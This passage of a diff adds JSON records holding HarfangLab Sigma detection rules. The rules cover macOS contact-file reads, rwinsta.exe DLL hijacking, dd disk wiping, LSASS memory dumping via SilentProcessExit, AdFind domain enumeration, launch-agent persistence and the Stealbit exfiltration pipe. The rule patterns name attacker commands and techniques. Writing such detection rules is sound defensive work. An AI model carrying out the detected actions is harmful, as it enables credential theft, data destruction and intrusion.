AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path|startswith: '/Users/*/Library/Application Support/AddressBook'\n        ProcessImage|contains: '?'\n\n    filter_legitimate:\n        Image:\n            - '/System/Library/*'\n            - '/System/Applications/*'\n            - '/System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/MacOS/Safari'\n\n    filter_benign_files:\n        Path:\n            - '/Users/*/Library/Application Support/AddressBook/Configuration.plist'\n            - '/Users/*/Library/Application Support/AddressBook/Metadata/.info'\n\n    # Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n            - '/Library/WithSecure/ultralight/bin/com.withsecure.ultralight.wssensord.xpc/Contents/MacOS/wssensord'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n    exclusion_mcafee:\n        Image: '/usr/local/McAfee/AntiMalware/VShieldScanner'\n    exclusion_norton:\n        Image:\n            - '/Applications/Norton.app/Contents/Backend/utils/com.norton.mes.endpointsecurity.app/Contents/MacOS/com.norton.mes.endpointsecurity'\n            - '/Applications/Norton.app/Contents/Backend/services/com.norton.daemon'\n    exclusion_kaspersky:\n        Image: '/Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n    exclusion_checkpoint:\n        Image:\n            - '/Applications/Check Point/Agents/cpamdApp.app/Contents/MacOS/cpamdApp'\n            - '/Applications/Check Point/Agents/Check Point Endpoint Security.app/Contents/MacOS/Check Point Endpoint Security'\n    exclusion_elastic:\n        Image: '/Library/Elastic/Endpoint/elastic-endpoint.app/Contents/MacOS/elastic-endpoint'\n\n    exclusion_avg:\n        Image: '/Applications/AVGAntivirus.app/Contents/Backend/utils/com.avg.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avg.Antivirus.EndpointSecurity'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    exclusion_oxibox:\n        Image: '/Library/Oxibox/oxibackupd'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n# end common exclusion\n\n    exclusion_paloalto:\n        Image: '/library/application support/paloaltonetworks/traps/bin/pmd'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'pmd'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.*'\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_grep:\n        Image:\n            - '/usr/bin/grep'\n            - '/usr/local/Cellar/ripgrep/*/bin/rg'\n\n    exclusion_webex:\n        Image: '/Applications/Webex.app/Contents/MacOS/Webex'\n\n    exclusion_cursor:\n        Image: '/Applications/Cursor.app/Contents/Frameworks/Cursor Helper.app/Contents/MacOS/Cursor Helper'\n\n    exclusion_acronis:\n        Image:\n            - '/Applications/Acronis True Image.app/Contents/MacOS/backup_worker'\n            - '/Applications/Acronis True Image.app/Contents/MacOS/escyberprotect.app/Contents/MacOS/escyberprotect'\n\n    exclusion_azure:\n        Image: '/Applications/Azure Data Studio.app/Contents/Frameworks/Azure Data Studio Helper.app/Contents/MacOS/Azure Data Studio Helper'\n\n    exclusion_rsync:\n        Image: '/usr/bin/rsync'\n\n    exclusion_image:\n        Image:\n            - '/Applications/OpenCode.app/Contents/MacOS/opencode-cli'\n            - '/Applications/Antigravity.app/Contents/Frameworks/Antigravity Helper.app/Contents/MacOS/Antigravity Helper'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8a269d59-6392-43f4-bd66-134da5a52148",
+  "rule_name": "Suspicious Read Access to AddressBook Files",
+  "rule_description": "Detects a process reading sensitive files related to the AddressBook application.\nAdversaries may collect contacts on local systems to gather Personally Identifiable Information (PII).\nIt is recommended to check whether the process that accessed the file had legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8a6738af-351d-4d7d-a394-46a598ee9cff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591892Z",
+  "creation_date": "2026-03-23T11:45:34.591896Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591903Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rwinsta.yml",
+  "content": "title: DLL Hijacking via rwinsta.exe\nid: 8a6738af-351d-4d7d-a394-46a598ee9cff\ndescription: |\n    Detects potential Windows DLL Hijacking via rwinsta.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rwinsta.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8a6738af-351d-4d7d-a394-46a598ee9cff",
+  "rule_name": "DLL Hijacking via rwinsta.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rwinsta.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8a840c55-7e14-426d-b112-1bf0653a9284",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095692Z",
+  "creation_date": "2026-03-23T11:45:34.095694Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095699Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md",
+    "https://attack.mitre.org/techniques/T1485/",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1485_suspicious_dd_usage_macos.yml",
+  "content": "title: Suspicious Usage of dd (macOS)\nid: 8a840c55-7e14-426d-b112-1bf0653a9284\ndescription: |\n    Detects the usage of the dd command with an input of /dev/zero, /dev/random or /dev/urandom.\n    This could be used by an attacker to perform secure deletion of files or data destruction.\n    It is recommended to check if the use of dd is expected and if the deleted file was suspicious.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md\n    - https://attack.mitre.org/techniques/T1485/\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2022/11/09\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1070.004\n    - attack.t1485\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        Image|endswith: '/dd'\n        CommandLine|contains:\n            - 'if=/dev/null'\n            - 'if=/dev/zero'\n            - 'if=/dev/random'\n            - 'if=/dev/urandom'\n    selection_of:\n        CommandLine|contains: 'of='\n    condition: selection_base and selection_of\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8a840c55-7e14-426d-b112-1bf0653a9284",
+  "rule_name": "Suspicious Usage of dd (macOS)",
+  "rule_description": "Detects the usage of the dd command with an input of /dev/zero, /dev/random or /dev/urandom.\nThis could be used by an attacker to perform secure deletion of files or data destruction.\nIt is recommended to check if the use of dd is expected and if the deleted file was suspicious.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ace4105-3417-4cb1-8609-43feab3aecf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078420Z",
+  "creation_date": "2026-03-23T11:45:34.078422Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078426Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood/",
+    "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_silent_process_dump_lsass.yml",
+  "content": "title: LSASS.exe SilentProcessExit Monitor Registered\nid: 8ace4105-3417-4cb1-8609-43feab3aecf3\ndescription: |\n    Detects a registration of a SilentProcessExit for LSASS.exe used to dump a process' memory.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to analyze the process making the registry modification for other suspicious actions.\nreferences:\n    - https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood/\n    - https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/03/02\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.defense_evasion\n    - attack.t1003.001\n    - attack.t1112\n    - attack.t1078\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject|contains: 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe'\n\n    selection_rename:\n        EventType:\n            - 'RenameValue'\n            - 'RenameKey'\n        TargetObject|contains: 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ace4105-3417-4cb1-8609-43feab3aecf3",
+  "rule_name": "LSASS.exe SilentProcessExit Monitor Registered",
+  "rule_description": "Detects a registration of a SilentProcessExit for LSASS.exe used to dump a process' memory.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to analyze the process making the registry modification for other suspicious actions.\n",
+  "rule_creation_date": "2021-03-02",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ad5b489-e501-424e-b275-b55b2e88f3f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083746Z",
+  "creation_date": "2026-03-23T11:45:34.083748Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083752Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1482/",
+    "https://attack.mitre.org/software/S0552/"
+  ],
+  "name": "t1482_domain_trust_discovery_find.yml",
+  "content": "title: Active Directory Discovery via Adfind Detected\nid: 8ad5b489-e501-424e-b275-b55b2e88f3f0\ndescription: |\n    Detects the usage of AdFind with specific commands to perform enumeration on Active Directory networks.\n    AdFind is a tool that has been used by numerous threat actors during the discovery phase of attacks (for enumerating domain trusts, domain users, ...).\n    It is recommended to verify that the usage of this tool is legitimate as well as to investigate the context of this execution.\nreferences:\n    - https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1482/\n    - https://attack.mitre.org/software/S0552/\ndate: 2023/06/29\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1482\n    - attack.t1018\n    - attack.s0552\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AdFind\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        Image|endswith: '\\adfind.exe'\n\n    selection_cmd:\n        CommandLine|contains:\n            - '-sc trustdmp'\n            - '-sc admincountdmp'\n            - 'objectclass=trusteddomain'\n            - 'objectcategory=computer'\n            - 'objectcategory=organizationalUnit'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ad5b489-e501-424e-b275-b55b2e88f3f0",
+  "rule_name": "Active Directory Discovery via Adfind Detected",
+  "rule_description": "Detects the usage of AdFind with specific commands to perform enumeration on Active Directory networks.\nAdFind is a tool that has been used by numerous threat actors during the discovery phase of attacks (for enumerating domain trusts, domain users, ...).\nIt is recommended to verify that the usage of this tool is legitimate as well as to investigate the context of this execution.\n",
+  "rule_creation_date": "2023-06-29",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b0a2e0d-cdb5-47be-8565-33d07f66b4cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617382Z",
+  "creation_date": "2026-03-23T11:45:34.617384Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617388Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/001/",
+    "https://attack.mitre.org/techniques/T1543/004/"
+  ],
+  "name": "t1543_001_launch_agents_created_defaults.yml",
+  "content": "title: Launch Agent/Daemon Created via defaults\nid: 8b0a2e0d-cdb5-47be-8565-33d07f66b4cb\ndescription: |\n    Detects the creation of a launch agent or daemon using defaults.\n    Adversaries may build a plist from scratch using defaults in order to establish a means of persistence.\n    It is recommended to check the content of the newly created plist file for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/001/\n    - https://attack.mitre.org/techniques/T1543/004/\ndate: 2024/06/28\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.001\n    - attack.t1543.004\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.LOLBin.Defaults\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Path|startswith:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n            - '/Users/*/Library/LaunchAgents/'\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n            - '/private/var/root/Library/LaunchAgents/'\n            - '/Library/User Template/Library/LaunchAgents/'\n        Kind: 'create'\n        ProcessImage: '/usr/bin/defaults'\n\n    condition: all of selection_*\nlevel: medium\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8b0a2e0d-cdb5-47be-8565-33d07f66b4cb",
+  "rule_name": "Launch Agent/Daemon Created via defaults",
+  "rule_description": "Detects the creation of a launch agent or daemon using defaults.\nAdversaries may build a plist from scratch using defaults in order to establish a means of persistence.\nIt is recommended to check the content of the newly created plist file for malicious content.\n",
+  "rule_creation_date": "2024-06-28",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1543.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8b15b564-b241-40f8-9265-2a8cd6e645ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091645Z",
+  "creation_date": "2026-03-23T11:45:34.091647Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091651Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1041_stealbit_named_pipe_created.yml",
+  "content": "title: Stealbit Named Pipe Created\nid: 8b15b564-b241-40f8-9265-2a8cd6e645ef\ndescription: |\n    Detects the creation of a named pipe pertaining to Stealbit.\n    Stealbit is a complex exfiltration tool used by the LockBit ransomware group.\n    It uses named pipes to coordinate its exfiltration and data-mining threads.\n    It is recommended to quickly look for other signs of cybercrime activity on the instance and to isolate infected machines.\nreferences:\n    - https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1041\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Malware.Stealbit\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName|endswith: '\\STEALBIT-MASTER-PIPE'\n\n    condition: 